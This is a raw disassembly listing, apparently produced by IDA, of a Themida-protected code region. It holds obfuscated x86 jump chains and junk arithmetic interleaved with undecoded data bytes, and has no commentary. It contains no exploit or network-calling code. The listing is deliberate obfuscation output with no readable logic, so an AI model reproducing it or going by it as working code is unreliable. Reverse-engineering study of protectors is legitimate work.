shr ebp, 2 jmp loc_50E89A ; --------------------------------------------------------------------------- db 5Ch, 66h, 31h dd 0E99C2404h, 0FFFF41B3h, 26FAC781h, 0E7C1717Bh, 59D4E908h dd 0E6800000h, 6EEC088h, 0FFAA40E9h, 240CD3FFh, 4191E99Ch dd 8851FFFFh, 5330E9D9h, 0F1810000h, 14CA50ACh, 51DE181h dd 7AE92BC0h, 29FFFFB9h, 24048BC2h, 4C481h, 0BB530000h dd 6794167Ah, 3C2DE9h db 0 ; --------------------------------------------------------------------------- loc_50E969: ; CODE XREF: Themida_:00512DA0j mov ecx, [esp] add esp, 4 dec bh sub bh, 21h add al, 0F3h sub al, bh sub al, 0F3h mov ebx, [esp] push ebx jmp loc_514221 ; --------------------------------------------------------------------------- loc_50E986: ; CODE XREF: Themida_:0050DEDFj mov edx, ebx pop ebx jmp loc_50EF60 ; --------------------------------------------------------------------------- dw 3487h dd 0E6D6E924h, 0C581FFFFh, 0C8030950h, 295DEF89h, 242C8BEFh dd 4C481h, 0FB010000h, 5F2434FFh, 5604C483h, 0FFA8E6E9h dd 0A4ED81FFh, 0E980D4F8h, 92E4h, 0D3F7DF87h, 0FFBCE8E9h db 0FFh ; --------------------------------------------------------------------------- loc_50E9CD: ; CODE XREF: Themida_:0051609Fj sub ebp, 29747FEEh sub ebp, 183776BEh sub edx, ebp pop ebp add edx, edi add edx, 27A75937h push dword ptr [edx] sub dword ptr [esp], 15FF3059h pop ecx add ecx, 15FF3059h push dword ptr [esp] pop edx jmp loc_50688D ; --------------------------------------------------------------------------- loc_50E9FD: ; CODE XREF: Themida_:0050A53Ej pop eax add ebp, 4 push 432Dh mov [esp], ebp push dword ptr [esp+4] pop ebp pop dword ptr [esp] mov esp, [esp] push edx push 1F80h mov [esp], ebx push 4B3Fh mov [esp], edi sub esp, 4 mov [esp], ecx mov ecx, 88D6A8Eh mov edi, 141F6885h xor edi, ecx mov ecx, [esp] add esp, 4 jmp loc_50C9CE ; --------------------------------------------------------------------------- loc_50EA45: ; CODE XREF: Themida_:0050C9E1j push edi push edx pop edi pop edx push ecx push 2F485962h pop ecx sub ecx, 539A6C65h add edi, ecx pop ecx add esi, edi pop edi push esi push dword ptr [esp+4] pop esi pop dword ptr [esp] mov esp, [esp] jmp loc_5177F0 ; --------------------------------------------------------------------------- loc_50EA6D: ; CODE XREF: Themida_:00504A91j add esi, edx jmp loc_511F5C ; --------------------------------------------------------------------------- dd 0E699E95Fh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50EA7A: ; CODE XREF: Themida_:00516DFAj add esp, 4 push dx mov dl, 0Ch xor cl, dl pop dx jmp loc_50B112 ; --------------------------------------------------------------------------- dw 4BAh dd 0E9000000h, 0FFFF5D99h, 4C481h, 14330000h, 24143124h dd 8B241433h, 0A4E92424h, 57000025h, 74CE9h, 4896600h dd 4011E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50EABA: ; CODE XREF: Themida_:0050A870j pop eax shl eax, 6 inc eax jmp loc_514C4A ; --------------------------------------------------------------------------- dd 0EAC0C8B2h, 0CFE28007h, 80DDB450h, 0F4805CE4h, 80D4F600h dd 0ECC035ECh, 88BCE905h db 2 dup(0) ; --------------------------------------------------------------------------- loc_50EAE2: ; CODE XREF: Themida_:0050582Cj sub edx, 4F120363h add edx, edi sub esp, 4 mov [esp], eax mov eax, 44366383h xor eax, 0B2460E0h add edx, eax jmp loc_50BF70 ; --------------------------------------------------------------------------- loc_50EB01: ; CODE XREF: Themida_:0050FBF5j pop esi push 53BBh mov [esp], ebx mov ebx, 1 add ecx, ebx pop ebx add ecx, 704F7345h xchg ebp, ecx inc ebp xchg ebp, ecx xor ecx, 0A81FA802h and eax, ecx mov ecx, [esp] add esp, 4 or eax, eax jz loc_513D84 push dword ptr [edi+1Ch] sub dword ptr [esp], 6D9C0DF8h jmp loc_506659 ; --------------------------------------------------------------------------- loc_50EB45: ; CODE XREF: Themida_:0050EE7Cj push edi pop esi pop edi not esi push 795Fh mov [esp], ecx mov ecx, 3626052Ch add ecx, 0FFFFFFFFh push ebp jmp loc_503278 ; --------------------------------------------------------------------------- dd 33243431h, 665C2434h, 0B6241489h, 6EF809Ch, 0C780F728h dd 148B6606h, 5A545224h, 4C281h, 0E9530000h, 0FFFFDCB1h ; --------------------------------------------------------------------------- loc_50EB88: ; CODE XREF: Themida_:0050B7C6j pop edx add esi, ebx pop ebx add esi, edx push edi mov edi, 20EA40B9h sub esi, edi jmp loc_508C9C ; --------------------------------------------------------------------------- loc_50EB9B: ; CODE XREF: Themida_:0050DD22j pop dword ptr [esp] mov esp, [esp] jmp loc_50F184 ; --------------------------------------------------------------------------- dw 1C87h dd 0F1F7E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50EBAE: ; CODE XREF: Themida_:0050D4DBj push esi mov esi, 6BE36C14h jmp loc_50CEB2 ; --------------------------------------------------------------------------- db 43h, 56h, 0BEh dd 0F55504D3h, 895EF301h, 5ADEE9DDh, 0E788FFFFh, 0FFFD0858h dd 1C8B2434h, 0FA02E924h, 0E888FFFFh, 8B58C788h, 8951240Ch dd 584FE9E1h, 0D8010000h, 6C5BE9h, 9CE98100h, 8134AE45h dd 964060EAh, 81CA0150h, 964060C2h, 0CBDE950h, 0D1890000h dd 0FFC1815Ah, 81FFFFFFh, 0E1188BE9h, 687Ch, 0C290000h dd 0E1C15924h, 0FFE98107h, 81FFFFFFh, 0FFB9E7E9h, 0ABEE816Eh dd 0E906F15Fh, 43B8h ; --------------------------------------------------------------------------- loc_50EC3C: ; CODE XREF: Themida_:0050F18Fj pop eax push edx mov edx, esp add edx, 4 push esi mov esi, 4E950FBEh shr esi, 6 not esi sub esi, 6A0E54F7h jmp loc_503082 ; --------------------------------------------------------------------------- dd 5585450h, 4, 0E904E883h, 0FFFFEE32h ; --------------------------------------------------------------------------- loc_50EC6C: ; CODE XREF: Themida_:00512099j push ecx mov ecx, 43DE4385h push ebp mov ebp, 64EA4D3Ch and ecx, ebp pop ebp jmp loc_50E25F ; --------------------------------------------------------------------------- dd 4EC81h, 24890000h, 4BA5224h, 1000000h, 5A042454h, 5024048Fh dd 0FF5958E9h, 0E9D7F7FFh, 0FFFF9A24h, 0E95DEA01h, 5E78h dd 34ECE581h, 0F5816FC6h, 429F0EB3h, 495DE989h, 68D1F749h dd 3CA1h, 0BF243C89h, 0B5E0C1AAh, 1AE9F931h, 5900007Fh dd 333668h, 242C8900h, 45A8E9h, 1EF8300h, 7555E951h db 2 dup(0FFh) word_50ECEA dw 34FFh ; DATA XREF: Themida_:00502884o dd 2434FF24h, 4EC8158h, 0E9000000h, 8661h, 34FFDA01h, 0C4835B24h dd 0F8EE904h db 2 dup(0) ; --------------------------------------------------------------------------- loc_50ED0A: ; CODE XREF: Themida_:0050596Dj pop esp mov [esp], edx sub esp, 4 jmp loc_50B177 ; --------------------------------------------------------------------------- db 0C1h, 0E9h, 6 dd 39CABA52h, 0E9425686h, 1483h, 0C34FEA81h, 0C9E96A15h dd 8100005Fh, 0D26784F6h, 8BF5317Fh, 0C4812434h, 4, 4246C29h dd 83242C8Bh, 685804C4h, 5269h, 0B9240C89h, 54DB13CAh dd 0C8BC801h, 100D6824h, 1C890000h, 81E38924h, 4C3h, 4C38300h dd 0FF82BDE9h, 24248BFFh, 240C8B66h, 4EC81h, 97E90000h dd 0FF000005h, 835A2434h, 0C46804C4h, 89000012h, 6857242Ch dd 3705h, 0E9243489h, 0FFFF7DCBh, 4C681h, 0EE830000h, 24348704h dd 5F7EE95Ch, 0C4810000h, 4, 592434FFh, 3DC268h, 243C8900h dd 0FF4C11E9h, 243C87FFh, 6A9CE9h, 0FFF80100h, 0F5E92434h dd 54000037h, 5624048Fh, 4BEh, 24740100h, 2434FF04h, 50F1E95Eh dd 4D35FFFFh, 29402820h, 875258C2h, 0E9932404h, 0FFFFE2FCh dd 656AB951h, 0F7494119h, 0FAB2E9D1h, 505EFFFFh, 1799BF57h dd 0BD552BDBh, 26E9647Bh, 0E95DEF21h, 0FFFFD22Fh, 0FF3C96E9h dd 241489FFh, 4BAh, 5AD60100h, 8704C683h, 0DBE92434h, 50FFFF83h dd 405E089h, 0E9000000h, 4Ah, 4E1A2D66h, 66F02966h, 664E1A05h dd 8124348Bh, 2C4h, 0C3316600h, 0FF522BE9h db 0FFh ; --------------------------------------------------------------------------- loc_50EE75: ; CODE XREF: Themida_:0050C85Dj inc edi sub edi, 0FA0C03C0h jmp loc_50EB45 ; --------------------------------------------------------------------------- loc_50EE81: ; CODE XREF: Themida_:005077ACj pop ebp push ecx push ebp jmp loc_511972 ; --------------------------------------------------------------------------- loc_50EE89: ; CODE XREF: Themida_:00504683j push ebx mov ebx, 16195C18h jmp loc_50DD3D ; --------------------------------------------------------------------------- loc_50EE94: ; CODE XREF: Themida_:0050DBF8j dec edi push ebp mov ebp, 125B0D92h add edi, ebp jmp loc_50A8C5 ; --------------------------------------------------------------------------- dw 405h dd 87000000h, 515C2404h, 0B2E18B9h, 0D1F74936h, 31E7E181h dd 0E1C15EDEh, 2E1C106h, 4EC8153h, 89000000h, 0BE56243Ch dd 7BA43B1Ah, 911A51BFh, 5EF701D3h, 69E9FB89h db 0Ch, 2 dup(0) byte_50EEDF db 68h ; DATA XREF: Themida_:0050284Co dd 743Ch, 51241489h, 3691E957h, 30590000h, 4977E9E1h, 0C483FFFFh dd 8A31E904h, 4330000h, 24043124h, 0E9240433h, 0FFFF5096h dd 81E78957h, 4C7h, 4EF8300h, 5C243C87h, 0E9241C89h, 35CDh ; --------------------------------------------------------------------------- loc_50EF24: ; CODE XREF: Themida_:0050DFC2j sub al, dh pop edx jmp loc_5144A7 ; --------------------------------------------------------------------------- dd 4C481h, 72E90000h, 8B000046h, 41E9240Ch db 29h, 2 dup(0) ; --------------------------------------------------------------------------- loc_50EF3F: ; CODE XREF: Themida_:00502B11j jz loc_505C65 push 3FC4h jmp loc_50BADD ; --------------------------------------------------------------------------- db 5Ch dd 6824148Bh, 67A6h, 0E9243489h, 0FFFF3D81h ; --------------------------------------------------------------------------- loc_50EF60: ; CODE XREF: Themida_:0050E989j add edx, ecx pop ecx jmp loc_51065D ; --------------------------------------------------------------------------- loc_50EF68: ; CODE XREF: Themida_:00506C6Ej pop edx add esp, 4 add esp, 4 push 55E8h mov [esp], edi push 5ECAh mov [esp], ecx mov ecx, 519A129Bh push ecx pop edi mov ecx, [esp] push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp sub esp, 4 mov [esp], edx jmp loc_506E74 ; --------------------------------------------------------------------------- dw 6866h dd 0EBE91638h, 8900004Bh, 0E389241Ch, 2818B951h, 0E9415CD7h dd 850Dh, 0BE56D1F7h, 13AE4485h, 43C2E946h, 6668FFFFh dd 0E9000062h, 0FFFFDFB0h ; --------------------------------------------------------------------------- loc_50EFDC: ; CODE XREF: Themida_:005179F1j mov esp, [esp] mov [edi+eax*4], cl jmp loc_514786 ; --------------------------------------------------------------------------- loc_50EFE7: ; CODE XREF: Themida_:0050F444j add edx, 55B87B5Ah sub edx, 77003936h mov ecx, [esp] add esp, 4 jmp loc_5126E1 ; --------------------------------------------------------------------------- loc_50F001: ; CODE XREF: Themida_:00505F3Fj pop eax sub ebx, 49D00102h shr ebx, 8 push edi mov edi, 77335C92h add ebx, 6CAD461Dh add ebx, edi sub ebx, 6CAD461Dh mov edi, [esp] jmp loc_50DD27 ; --------------------------------------------------------------------------- db 81h dd 0FD576AF6h, 5EF13190h, 0C107E9C1h, 0B85006E9h, 1DFC119Ah dd 2759D20Dh, 0A47CE922h, 0CBFEFFFFh, 0E902EBC0h, 0CF9h ; --------------------------------------------------------------------------- loc_50F050: ; CODE XREF: Themida_:0050D0CDj sub esi, 4 xchg esi, [esp] mov esp, [esp] mov [esp], ebp push 6E33h mov [esp], esp jmp loc_50C1B0 ; --------------------------------------------------------------------------- loc_50F06C: ; CODE XREF: Themida_:00509AA1j sub ebp, 21B71E3Ch sub ebp, 618535D4h push edx mov edx, 0D1B39516h sub ebp, edx pop edx add eax, ebp pop ebp and ebx, eax pop eax push eax jmp loc_5173BE ; --------------------------------------------------------------------------- byte_50F08D db 0FFh, 34h, 24h ; DATA XREF: Themida_:0050285Co dd 582434FFh, 925BE955h, 0B2BFFFFFh, 57180B6Dh, 0F9242C81h dd 8B70F97Ch, 0C481241Ch, 4, 7CF9C381h, 815F70F9h, 6F042444h dd 814D1639h, 9A04246Ch, 1765404h, 8104245Ch, 9A042444h dd 81765404h, 6F04246Ch, 8B4D1639h, 0C483241Ch, 0EF815F04h dd 180B6DB2h, 0FFC288E9h, 0E9EB01FFh, 0FFFFE1CFh dword_50F0F4 dd 5524148Bh, 10E9E9h, 0C8015E00h, 0E9F80159h, 0FFFF57F6h ; DATA XREF: Themida_:00502844o dd 4DCBE95Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50F10E: ; CODE XREF: Themida_:00510D9Fj pop esi push 65E8h mov [esp], ebp mov ebp, 4 add esi, ebp push dword ptr [esp] pop ebp jmp loc_50986F ; --------------------------------------------------------------------------- db 89h dd 6418E9D3h, 0C1890000h, 0B6E98158h, 0E914D61Fh, 0FFFF606Bh dd 0D6BA5256h, 89663749h, 0F0295AD6h, 0FFE069E9h, 30D30DFFh dd 4BE91ADEh, 8BFFFF98h, 0F8E92404h, 87FFFFF3h, 535C2414h dd 0FF3ED4E9h, 5BDE01FFh, 7E2668h, 0EF7AE900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50F176: ; CODE XREF: Themida_:005079D4j mov esp, [esp] xchg edx, [esp] mov eax, [esp] jmp loc_5060EB ; --------------------------------------------------------------------------- loc_50F184: ; CODE XREF: Themida_:0050EBA1j ; Themida_:00512E6Fj ... push ebx xor dword ptr [esp], 5C4D1BC2h push dword ptr [esp] jmp loc_50EC3C ; --------------------------------------------------------------------------- loc_50F194: ; CODE XREF: Themida_:00515B5Aj mov [esp], edi mov edi, esp push ebp mov ebp, 71750CB6h inc ebp dec ebp xor ebp, 2298680Bh jmp loc_50FF9C ; --------------------------------------------------------------------------- dd 63181105h, 2BA22D49h, 0C8011534h, 15B8BD55h, 0C5810D28h dd 80C15EAh, 575DE801h, 23570ABFh, 21BFE93Fh, 0C3810000h dd 63FF23B7h, 315BDA89h, 0DBF75AD3h, 0FFC997E9h, 55E689FFh dd 412CB5BDh, 5832E970h, 88530000h, 5BD888EBh, 3C98E9h dd 4BF00h, 0F9010000h, 240C875Fh, 4BA525Ch, 0E9000000h dd 0FFFFAF35h, 0E981E929h, 13EF688Eh, 1FB6C181h, 0E7E914D6h dd 5200005Bh, 0C281E289h, 4, 8704C283h, 0CDE92414h, 0BFFFFFFEh dd 4149756Dh, 8A97C781h, 0F801BEB6h, 0FF517DE9h db 0FFh ; --------------------------------------------------------------------------- loc_50F24D: ; CODE XREF: Themida_:00507A81j xchg edx, edi jmp loc_515C22 ; --------------------------------------------------------------------------- dd 5A2434FFh, 4C481h, 0B60F0000h, 8734FFC0h, 62EFE9h, 0E9D32900h dd 0FFFFE3EFh ; --------------------------------------------------------------------------- loc_50F270: ; CODE XREF: Themida_:00510AA4j xor ecx, 4AC40793h jmp loc_50DCF6 ; --------------------------------------------------------------------------- byte_50F27B db 66h ; DATA XREF: Themida_:00502854o dd 50240C8Bh, 405E089h, 0E9000000h, 0FFFFDBE1h, 59C3815Ah dd 57548509h, 6921D168h, 0FB015F0Dh, 0E9243C8Bh, 0FFFFFBA7h dd 57243489h, 5466A2BFh, 1B1CE97Ah, 0C3810000h, 4, 4C381h dd 1C870000h, 24248B24h, 5C243487h, 240C8B66h, 34FF5455h dd 3669E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_50F2D6: ; CODE XREF: Themida_:00509E60j add eax, 4 push esi push 73D64B79h pop esi sub esi, 77A737AAh push 2E26h mov [esp], edx mov edx, 243133FEh add esi, edx pop edx jmp loc_5095E4 ; --------------------------------------------------------------------------- db 5, 4, 0 dd 4050000h, 87000000h, 535C2404h, 0FFCB92E9h db 0FFh ; --------------------------------------------------------------------------- loc_50F311: ; CODE XREF: Themida_:00504C71j push ebx mov ebx, 58F73BC9h sub ebx, 0D9250673h jmp loc_5175DF ; --------------------------------------------------------------------------- dw 1C89h aTsgt db '$TégT',0 dw 8100h dd 4C1h, 4C18300h, 2474FF51h, 48F5904h, 24248B24h, 0FF9014E9h dd 6DF381FFh, 15DF9D3h, 34FF5BD9h, 242C8B24h, 4C481h, 0C4830000h dd 3862E904h, 295FFFFFh, 53EB81F3h, 0FF6C986Dh, 0E95E2434h dd 2DC5h, 0E924248Bh, 10CBh, 5E7C15Ch, 1BE1EF81h, 0EF8131EBh dd 77013F3Dh, 814BE9h db 0 ; --------------------------------------------------------------------------- loc_50F391: ; CODE XREF: Themida_:00505A03j mov [esp], ecx mov ecx, 782B0A2Eh dec ecx shr ecx, 5 jmp loc_504A4A ; --------------------------------------------------------------------------- loc_50F3A2: ; CODE XREF: Themida_:00504B43j add edx, 67420B3Bh xor edx, 977145B8h jmp loc_505D89 ; --------------------------------------------------------------------------- db 59h dd 5224148Bh, 0C281E289h, 4, 0FFE3EAE9h, 28E168FFh, 14890000h dd 5B13BA24h, 0D0017EC9h, 2383E9h, 399A6800h, 1C890000h dd 1865E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_50F3E6: ; CODE XREF: Themida_:00511624j push edi jmp loc_516612 ; --------------------------------------------------------------------------- dd 31243C33h, 3C33243Ch, 24248B24h, 0E9240431h, 0FFFF36CBh dd 4C481h, 0EA350000h, 8919AB42h, 0D10158C1h, 8B590188h dd 89512414h, 4C181E1h, 81000000h, 4C1h, 240C8700h, 369DE95Ch dd 1C8BFFFFh, 0DB95E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50F436: ; CODE XREF: Themida_:0051081Cj add edx, 77003936h sub edx, 55B87B5Ah add edx, ecx jmp loc_50EFE7 ; --------------------------------------------------------------------------- loc_50F449: ; CODE XREF: Themida_:0050BE80j pop dword ptr [esp] jmp loc_5062E4 ; --------------------------------------------------------------------------- loc_50F451: ; CODE XREF: Themida_:005132C5j neg ah push ebx jmp loc_50C958 ; --------------------------------------------------------------------------- byte_50F459 db 0FFh, 34h, 24h ; DATA XREF: Themida_:005027ECo dd 0E92434FFh, 6F3Fh ; --------------------------------------------------------------------------- loc_50F464: ; CODE XREF: Themida_:00508235j pop edx jmp loc_50AB52 ; --------------------------------------------------------------------------- dw 0FB31h dd 0FF37AAE9h, 0E7C380FFh, 5828C380h, 4E9C300h, 5B000059h dd 0E904EC83h, 27ACh, 68243489h, 357F5B48h, 5124348Bh dd 0C181E189h, 4, 10B9E9h, 81D3F700h, 6242E5C3h, 0EB814353h dd 41AFC20h, 0FFE8A4E9h, 0EF0159FFh, 0E958575Dh, 0FFFF5A92h dd 3DE95548h db 9Dh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50F4C7: ; CODE XREF: Themida_:00512F58j push edx mov edx, 396013D8h xchg ebx, edx dec ebx xchg ebx, edx add edx, 2EFC0D4Ah dec edx xor edx, 77B573E4h add edx, 3C27DDD3h add edi, 3771280Fh add edi, edx jmp loc_509CC2 ; --------------------------------------------------------------------------- dw 0EE81h dd 4, 5C243487h, 55243489h, 0E7594ABDh, 8BEE8963h, 0C481242Ch dd 4, 693ACE81h, 0EE8154A7h, 7D73F57h, 7E3E68h, 241C8900h dd 8C1696BBh, 0EB814326h, 5F4A0911h, 2F4ABA52h, 0D33138A8h dd 8324148Bh, 0E3E904C4h, 0F7FFFFCFh, 5CE946D6h, 5FFFFAAh dd 0CB8161Bh, 2531EE81h, 0C60159B9h, 2531C681h, 835859B9h dd 0C8904ECh, 2B924h, 0CE010000h, 24348759h, 6624248Bh dd 9C243CD3h, 0FF4843E9h, 48F58FFh, 0B5515C24h, 0E3895349h dd 4C381h, 0EB810000h, 4, 5C241C87h, 0FF3EBBE9h, 0C4835AFFh dd 6BF7E904h, 0C870000h, 7685C24h, 89000060h, 6D68240Ch dd 59479354h, 20906855h, 295D264Eh, 0BA2D5DE8h, 10B4B72h dd 72BA05C8h, 0EC830B4Bh, 4432E904h, 0C62D0000h, 89F96828h dd 9AE958C1h, 53000086h, 2A418CBBh, 0C1D3F71Eh, 0E94B02EBh dd 0AEEh, 0C9E9FB01h, 29FFFF75h, 0C7015BD8h, 8324048Bh dd 0C78104C4h, 4, 0FFA965E9h, 10068FFh, 295E47A3h, 8C42E9EEh dd 0A868FFFFh, 89000000h, 74FF2414h, 8F5A0424h, 0E95C2404h dd 0FFFF76AAh ; --------------------------------------------------------------------------- loc_50F634: ; CODE XREF: Themida_:00507785j add edi, 4 sub edi, 4 jmp loc_5157B9 ; --------------------------------------------------------------------------- dw 0F781h dd 25DF18EDh, 0E935C781h, 0F901B415h, 55243C8Bh, 0C5815D54h dd 4, 3304C583h, 2C31242Ch, 242C3324h, 240C335Ch, 33240C31h dd 248B240Ch, 8083E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_50F67A: ; CODE XREF: Themida_:00509873j mov edi, 34077B0h add edi, 285147CDh inc edi shl edi, 4 xor edi, 14BB1CE6h jmp loc_50BAF6 ; --------------------------------------------------------------------------- dword_50F694 dd 240C8B66h, 27C968h, 24048900h, 0FF9D42E9h, 0C58158FFh ; DATA XREF: Themida_:00502A3Co dd 41314683h, 14BAE957h, 4890000h, 7754E924h, 0EC810000h dd 4, 0E9241489h, 0FFFF6C7Bh, 5E08950h, 4, 8704E883h, 0E4E92404h dd 81FFFF54h, 0E25F4E3h, 5E3C151h, 7D0BE9h, 82EB8100h dd 5D087760h, 3C3EB81h, 0C32912D8h, 3C3C381h, 0BD5512D8h dd 67883660h, 0BA52DDF7h, 70E93E2Ah, 0E0E9D509h db 4Dh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50F713: ; CODE XREF: Themida_:00511D5Bj mov ecx, 0F4D76157h jmp loc_50B3EE ; --------------------------------------------------------------------------- aXswz db 'Xéw‡',0 dw 8900h dd 0E2892414h, 4C281h, 0EA810000h, 4, 5C241487h, 0E9242C89h dd 0FFFFC0C5h, 5001BB53h, 0EB810327h, 80DF2E3Ah, 0A3E9DE31h dd 0E9000082h, 0FFFF3373h ; --------------------------------------------------------------------------- loc_50F758: ; CODE XREF: Themida_:00509E91j push small 0 sub [esp], bl mov bl, [esp] jmp loc_5107F6 ; --------------------------------------------------------------------------- db 81h dd 6E61BFE9h, 0E9D9F738h, 3A6Dh, 4BEh, 3F11E900h, 0EC81FFFFh dd 4, 0BD242C89h, 47195DA2h, 0FFA2A2E9h, 143166FFh, 14336624h dd 14316624h, 66526624h, 662414F7h, 5524148Bh, 7F1AE9h dd 4AB55100h, 6859EC88h, 2CABh, 88241489h, 8BD788E2h, 0C4812414h dd 4, 8124048Bh, 4C4h, 0EEE95600h, 5C00006Fh, 52241C89h dd 83E9D0B2h db 0DFh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50F7E3: ; CODE XREF: Themida_:0050CD9Ej mov [esp], ecx push esp pop ecx add ecx, 4 jmp loc_50FA1D ; --------------------------------------------------------------------------- loc_50F7F3: ; CODE XREF: Themida_:00503DBBj not edx sub esp, 4 mov [esp], ebp mov ebp, esp jmp loc_505C43 ; --------------------------------------------------------------------------- dw 665Ah dd 6648262Dh, 666B3768h, 53243489h, 5AB96651h, 0CB896604h dd 0FF60F2E9h db 0FFh byte_50F81D db 0F7h, 1Ch, 24h ; DATA XREF: Themida_:005029DCo dd 0F60AE99Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50F826: ; CODE XREF: Themida_:00505F38j push 5D9Fh mov [esp], esp jmp loc_50A089 ; --------------------------------------------------------------------------- db 88h dd 382AE9FDh, 0EC68FFFFh, 8900003Eh, 0ACE9242Ch, 81FFFF7Eh dd 4C4h, 0F3B95100h, 832E8801h, 0E4E9FFE9h db 38h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50F85B: ; CODE XREF: Themida_:005133AEj mov ebx, [esp] add esp, 4 shr ecx, 2 sub esp, 4 mov [esp], ebx jmp loc_50995A ; --------------------------------------------------------------------------- loc_50F86F: ; CODE XREF: Themida_:00504F95j sub ebp, 2 xchg ebp, [esp] pop esp mov [esp], dx push ax pushf jmp loc_502ACB ; --------------------------------------------------------------------------- dw 248Bh dd 0B30F6624h, 0E99C2404h, 0FFFF323Bh, 2128C681h, 0EC83536Dh dd 241C8904h, 5908A9BBh, 0BEB85058h, 15BF960h, 0C68158C6h dd 258A7BF7h, 5809E9h, 7CF6B800h, 0C13145F5h, 8324048Bh dd 7AE904C4h, 59FFFF61h, 0FFA357E9h, 9D2D5BFFh, 0E91FCC52h dd 712Bh dword_50F8D8 dd 9D1C77FFh, 4185866h, 0E4E99C24h ; DATA XREF: Themida_:005028BCo db 31h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_50F8E7: ; CODE XREF: Themida_:005058B7j xchg ecx, [esp] pop esp mov [esp], edi push 6034h mov [esp], ebp push 0ADDh mov [esp], esi mov esi, 139B1D08h mov ebp, 30220698h add ebp, esi pop esi neg ebp add ebp, 98D47748h mov edi, ebp pop ebp xor ebx, edi push dword ptr [esp] pop edi push eax jmp loc_50C641 ; --------------------------------------------------------------------------- dw 0C829h dd 79EC2D59h, 0F00108A3h, 0FF55E9E9h db 0FFh ; --------------------------------------------------------------------------- loc_50F931: ; CODE XREF: Themida_:0050DFAFj mov ebx, 64872AF2h sub edi, ebx pop ebx pop edx push edi jmp loc_504695 ; --------------------------------------------------------------------------- dd 0FF24248Bh, 34FF2434h, 0EC815924h, 4, 0FFB913E9h, 247401FFh dd 44815E08h, 48620424h, 0D8E96553h db 54h, 2 dup(0) ; --------------------------------------------------------------------------- loc_50F967: ; CODE XREF: Themida_:00510F7Cj xor eax, esi push 5D10h mov [esp], edx push 1 mov edx, [esp] sub esp, 4 mov [esp], esi mov esi, esp sub esp, 4 mov [esp], eax push ebp jmp loc_50A715 ; --------------------------------------------------------------------------- loc_50F990: ; CODE XREF: Themida_:00511A82j push dword ptr [esp] jmp loc_509D6D ; --------------------------------------------------------------------------- dd 5E5C15Dh, 8105E5C1h, 6413FCEDh, 31FE0562h, 0B8E91DC9h db 35h, 2 dup(0) ; --------------------------------------------------------------------------- loc_50F9AF: ; CODE XREF: Themida_:0050537Ej push ebx mov ebx, 4 jmp loc_5075D1 ; --------------------------------------------------------------------------- dw 0D0B8h dd 2966D158h, 58042444h, 46D5E9h db 0 ; --------------------------------------------------------------------------- loc_50F9C9: ; CODE XREF: Themida_:00503DB4j xor edi, ebx pop ebx push edi mov edx, [esp] add esp, 4 push dword ptr [esp] pop edi jmp loc_508324 ; --------------------------------------------------------------------------- loc_50F9DF: ; CODE XREF: Themida_:0050309Dj xchg edx, [esp] pop esp jmp loc_507878 ; --------------------------------------------------------------------------- dd 58611DBFh, 247C0156h, 3304E904h db 2 dup(0FFh) word_50F9F6 dw 8B66h ; DATA XREF: Themida_:00502A08o dd 0F5E9240Ch db 7Bh, 2 dup(0) byte_50F9FF db 0FFh ; DATA XREF: Themida_:00502A10o dd 70E92434h, 81FFFF6Fh, 4C4h, 0E9D03100h, 30F8h, 882C542Ch dd 33B6E9h db 0 ; --------------------------------------------------------------------------- loc_50FA1D: ; CODE XREF: Themida_:0050F7EEj add ecx, 4 xchg ecx, [esp] jmp loc_5153BE ; --------------------------------------------------------------------------- db 0BEh dd 66633B6Eh, 924DC681h, 0F529B1B6h, 5DEF315Eh, 3C8BF829h dd 5967E924h, 3489FFFFh, 52E68924h, 0D10623BAh, 568CE96Dh dd 2C8B0000h, 4C48324h, 4C581h, 0C5830000h, 242C8704h dd 4E48E95Ch, 6866FFFFh, 8B660002h, 0C481240Ch, 2, 77E95066h dd 8FFFFFECh, 0D0E92404h, 83FFFF54h, 685704C4h, 678E2B8Dh dd 0E92434FFh, 0FFFFEFD8h, 0E9E38953h, 0FFFFD234h, 383BD55h dd 0E9317532h, 83242C8Bh, 0E98104C4h, 1, 58968h, 24048900h dd 0B1D685B8h, 1EE9818Ah, 29695945h, 4532E9C1h db 2 dup(0) ; --------------------------------------------------------------------------- loc_50FAD2: ; CODE XREF: Themida_:00513BAFj xchg ebx, [esp] pop esp or eax, eax jz loc_510FD8 push 732Eh mov [esp], edx jmp loc_505436 ; --------------------------------------------------------------------------- db 83h dd 1C8904ECh, 240CFF24h, 0F7240487h, 240487D0h, 0F792935Bh dd 0D00592DAh, 89E38946h, 24048BC2h, 81E38953h, 4C3h, 4C38100h dd 87000000h, 1CE9241Ch, 5EFFFF43h, 4C681h, 0F6E90000h dd 56FFFF92h, 232CF9BEh, 5A28BA0Bh, 0F22929FAh, 5AD7095Eh dd 0E9FFEF83h, 0FFFF512Eh, 8BD9015Fh, 0C483241Ch, 59CB0104h dd 0EB81C301h, 2347356Bh, 3E6368h, 243C8900h, 0FFC837E9h db 0FFh ; --------------------------------------------------------------------------- loc_50FB69: ; CODE XREF: Themida_:0050B8A1j add ebp, 4 xchg ebp, [esp] pop esp xor ecx, 32C557C9h push edi mov edi, 4F4464E5h xchg esi, edi not esi push edi jmp loc_508558 ; --------------------------------------------------------------------------- dw 0C89h dd 7A08B924h, 0D9F73554h, 5E7AE941h db 2 dup(0) ; --------------------------------------------------------------------------- loc_50FB96: ; CODE XREF: Themida_:00506DF0j xchg ebp, [esp] pop esp mov [esp], ecx jmp loc_5059DC ; --------------------------------------------------------------------------- loc_50FBA2: ; CODE XREF: Themida_:00516DBBj push 551753A8h pop ebx jmp loc_508161 ; --------------------------------------------------------------------------- db 31h, 0D0h, 5Ah dd 0E958C721h, 0FFFFEB19h ; --------------------------------------------------------------------------- 